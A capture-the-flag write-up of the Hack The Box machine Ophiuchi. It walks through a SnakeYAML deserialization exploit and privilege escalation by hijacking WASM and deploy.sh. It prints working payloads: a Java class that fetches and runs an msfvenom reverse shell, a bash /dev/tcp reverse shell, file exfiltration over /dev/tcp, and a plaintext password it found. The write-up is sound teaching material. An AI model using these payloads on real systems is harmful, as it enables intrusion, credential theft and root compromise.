Ophiuchi starts off by enumerating a Java web application that offers a service for parsing YAML. The parser is vulnerable to YAML deserialization attack, and exploiting it results in an interactive shell access to the system. Internal enumeration of the system finds a set of user credentials. This user is allowed to run a specific Go program which loads a web assembly file and executes a script file if a certain condition is met. The program loads these files without their absolute path. As a result, the files could be replaced with malicious ones to gain root access.
Skills Learned
- YAML deserialization attack
- Web Assembly (WASM)
- Code Analysis (Go & WASM)
- Sudo exploitation
Tools
- Nmap
- Java Compiler
- Yaml-payload
- Wabt
Reconnaissance
Nmap
A full TCP scan using nmap
discovers 2 open ports: SSH on port 22 and an Apache Tomcat servlet on port 8080.
→ root@kali «ophiuchi» «10.10.14.53»
$ nmap -p- --reason -oA nmap/10-tcp-allport-ophiuchi 10.10.10.227
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 10:09 EDT
Nmap scan report for 10.10.10.227
Host is up, received echo-reply ttl 63 (0.056s latency).
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 77.26 seconds
→ root@kali «ophiuchi» «10.10.14.53»
$ nmap -p22,8080 -sC -sV -oA nmap/10-tcp-allport-scripts-ophiuchi 10.10.10.227
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-17 10:21 EDT
Nmap scan report for 10.10.10.227
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds
Enumeration
TCP 8080 - Website
On port 8080, the machine hosts a site that serves a YAML parser service.
When I submit a sample YAML payload, it returns the following message.
But, if I send an invalid payload, for example:
test: test
test: test
I get the following results:
From the error above, I noticed the org.yaml.snake.yaml.load
package is being used. This package is typically used for YAML deserialization.
Foothold
Shell as tomcat
SnakeYAML Insecure Deserialization - PoC
Although the web app said the parser feature is temporarily on hold, I’m sure that each payload I submit is being processed on the backend.
Searching on Google about the Snake YAML deserialization attack, I came across this post . I took the payload from that post and modified the URL to point to my HTB IP. I will setup a netcat listener and submit the payload to the parser.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.23/iamf"]
]]
]
On my listener, I get the following request.
→ kali@kali «ophiuchi» «10.10.14.23»
$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.227] 53002
GET /iamf HTTP/1.1
User-Agent: Java/11.0.8
Host: 10.10.14.23
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
That means the parser is vulnerable to insecure deserialization attack!
SnakeYAML Insecure Deserialization - Weaponize
The researcher on the previous post uses a .jar
payload from this Github repo to get a code execution. I will clone that repo to my machine.
→ kali@kali «exploits» «10.10.14.23»
$ git clone https://github.com/artsploit/yaml-payload.git && cd yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Receiving objects: 100% (10/10), done.
From that repo, I will modify the codes of AwesomeScriptEngineFactory.java
file to make it executes a sequence OS commands that will grab my malicious binary and execute it afterwards.
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("wget http://10.10.14.23/iamf-shell -O /tmp/iamf-shell;");
Runtime.getRuntime().exec("chmod +x /tmp/iamf-shell");
Runtime.getRuntime().exec("/tmp/iamf-shell");
} catch (IOException e) {
e.printStackTrace();
}
}
...[SNIP]...
}
Next, I will compile the code and pack the whole src/
folder into a java archive (jar) file.
→ kali@kali «yaml-payload» «10.10.14.23» git:(master) ✗
$ javac src/artsploit/AwesomeScriptEngineFactory.java && jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/MANIFEST.MF (in=56) (out=56) (stored 0%)
adding: ./ (in=0) (out=0) (stored 0%)
adding: META-INF/ (in=0) (out=0) (stored 0%)
adding: META-INF/services/ (in=0) (out=0) (stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactoed -5%)
adding: artsploit/ (in=0) (out=0) (stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class (in=1%)
adding: artsploit/AwesomeScriptEngineFactory.java~ (in=5)
adding: artsploit/AwesomeScriptEngineFactory.java (in=16)
Total:
------
(in = 4083) (out = 2846) (deflated 30%)
Then I will create my malicious binary using msfvenom
. This binary along with the jar will be hosted using a Python web server.
→ kali@kali «exploits» «10.10.14.23»
$ msfvenom -p linux/x64/shell_reverse_tcp lhost=10.10.14.23 lport=53 -f elf -o iamf-shell
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: iamf-shell
Finally, I will setup a netcat listener and submit the following payload.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.23/yaml-payload.jar"]
]]
]
Within a few seconds, I get an interactive shell as tomcat.
Shell Upgrade
As usual, I will do the PTY trick to upgrade my shell.
which script
/usr/bin/script
script /dev/null -c bash
Script started, file is /dev/null
tomcat@ophiuchi:/$ export TERM=xterm
export TERM=xterm
tomcat@ophiuchi:/$ ^Z
[2] + 7400 suspended nc -nvlp 53
→ kali@kali «exploits» «10.10.14.23»
$ stty raw -echo;fg
[2] - 7400 continued nc -nvlp 53
tomcat@ophiuchi:/$ stty rows 30 cols 126
Privilege Escalation
Shell as admin
Enumeration
There are only two users in this machine who have login shell: root
and admin
.
tomcat@ophiuchi:/opt/tomcat$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:,,,:/home/admin:/bin/bash
Using grep
to search for a “password” recursively on the tomcat home directory (/opt/tomcat
) reveals a set of credentials for user admin
.
tomcat@ophiuchi:/opt/tomcat$ grep -Ri "password"
...[SNIP]...
conf/tomcat-users.xml:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/> ...[SNIP]...
SSH - admin
The password whythereisalimit
works on SSH for user admin
.
→ kali@kali «exploits» «10.10.14.23»
$ ssh admin@10.10.10.227
admin@10.10.10.227's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
...[SNIP]...
System load: 0.08
Usage of /: 19.9% of 27.43GB
Memory usage: 17%
Swap usage: 0%
Processes: 214
Users logged in: 0
IPv4 address for ens160: 10.10.10.227
IPv6 address for ens160: dead:beef::250:56ff:feb9:90cf
...[SNIP]...
Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
User flag is done here.
Shell as root
Enumeration
User admin
is allowed to run a Go program as root.
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Source Code Analysis - index.go
What index.go
does is:
- It reads a web assembly file called
main.wasm
and creates an instance of that file. - It then exports a function called “info” from the instance and executes it. If the results of that function is “1”, it runs the
deploy.sh
file.
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Also, it’s important to note that this index.go
loads deploy.sh
and main.wasm
with relative path. The deploy.sh
and main.wasm
themself can be found under /opt/wasm-functions
directory.
admin@ophiuchi:/opt/wasm-functions$ ls -lah
total 3.9M
drwxr-xr-x 3 root root 4.0K Oct 14 2020 .
drwxr-xr-x 5 root root 4.0K Oct 14 2020 ..
drwxr-xr-x 2 root root 4.0K Oct 14 2020 backup
-rw-r--r-- 1 root root 88 Oct 14 2020 deploy.sh
-rwxr-xr-x 1 root root 2.5M Oct 14 2020 index
-rw-rw-r-- 1 root root 522 Oct 14 2020 index.go
-rwxrwxr-x 1 root root 1.5M Oct 14 2020 main.wasm
The deploy.sh
contains a to-do note of a lazy admin.
admin@ophiuchi:/opt/wasm-functions$ cat deploy.sh
#!/bin/bash
# ToDo
# Create script to automatic deploy our new web at tomcat port 8080
From here, I will exfil the entire /opt/wasm-functions/
to my machine.
admin@ophiuchi:/opt$ tar -czvf /tmp/wasm-functions.tar.gz wasm-functions/
wasm-functions/
wasm-functions/index
wasm-functions/index.go
wasm-functions/deploy.sh
wasm-functions/main.wasm
wasm-functions/backup/
wasm-functions/backup/index.go
wasm-functions/backup/deploy.sh
wasm-functions/backup/main.wasm
admin@ophiuchi:/opt$ cat /tmp/wasm-functions.tar.gz > /dev/tcp/10.10.14.23/53
On my listener:
→ kali@kali «exploits» «10.10.14.23»
$ nc -nvlp 53 > wasm-functions.tar.gz
listening on [any] 53 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.227] 45380
Reversing main.wasm
WASM can be {de,re}compiled using a tool, called wabt. I will clone the repo and make the tool available to system-wide.
$ wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz -O /opt/
$ tar -xvf /opt/wabt-1.0.23-ubuntu.tar.gz
$ export PATH="/opt/wabt-1.0.23/bin":$PATH
I will decompile the main.wasm
using wasm-decompile
, and it reveals that the info
function has return value of 0.
→ kali@kali «wasm-functions» «10.10.14.23»
$ wasm-decompile main.wasm
export memory memory(initial: 16, max: 0);
global g_a:int = 1048576;
export global data_end:int = 1048576;
export global heap_base:int = 1048576;
table T_a:funcref(min: 1, max: 1);
export function info():int {
return 0
}
Exploitation
I needed a return value of 1, so that index.go
will execute the deploy.sh
, therefore I will need to modify the main.wasm
using wasm2wat
.
→ kali@kali «exploits» «10.10.14.23»
$ wasm2wat ../loot/wasm-functions/main.wasm | tee main.wat
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
Then in main.wat
, I will modify the return value of the info function to 1.
...[SNIP]...
(func $info (type 0) (result i32)
i32.const 1)
...[SNIP]...
I will compile the main.wat
back to main.wasm
using wat2wasm
.
→ kali@kali «exploits» «10.10.14.23»
$ wat2wasm main.wat
Then I will create my own deploy.sh
that contains a reverse shell.
→ kali@kali «exploits» «10.10.14.23»
$ cat deploy.sh
#!/bin/sh
bash -c "bash -i >& /dev/tcp/10.10.14.23/53 0>&1"
I will transfer my main.wasm
and deploy.sh
using scp
to/tmp/
.
→ kali@kali «exploits» «10.10.14.23»
$ scp main.wasm deploy.sh admin@10.10.10.227:/tmp
admin@10.10.10.227's password:
main.wasm 100% 112 1.7KB/s 00:00
deploy.sh 100% 60 1.1KB/s 00:00
Finally, I will setup a netcat listener and run the allowed sudo command on the /tmp/
directory.
admin@ophiuchi:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Now I have a root shell on my listener.
→ kali@kali «exploits» «10.10.14.23»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.23] from (UNKNOWN) [10.10.10.227] 45382
root@ophiuchi:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
root@ophiuchi:/tmp#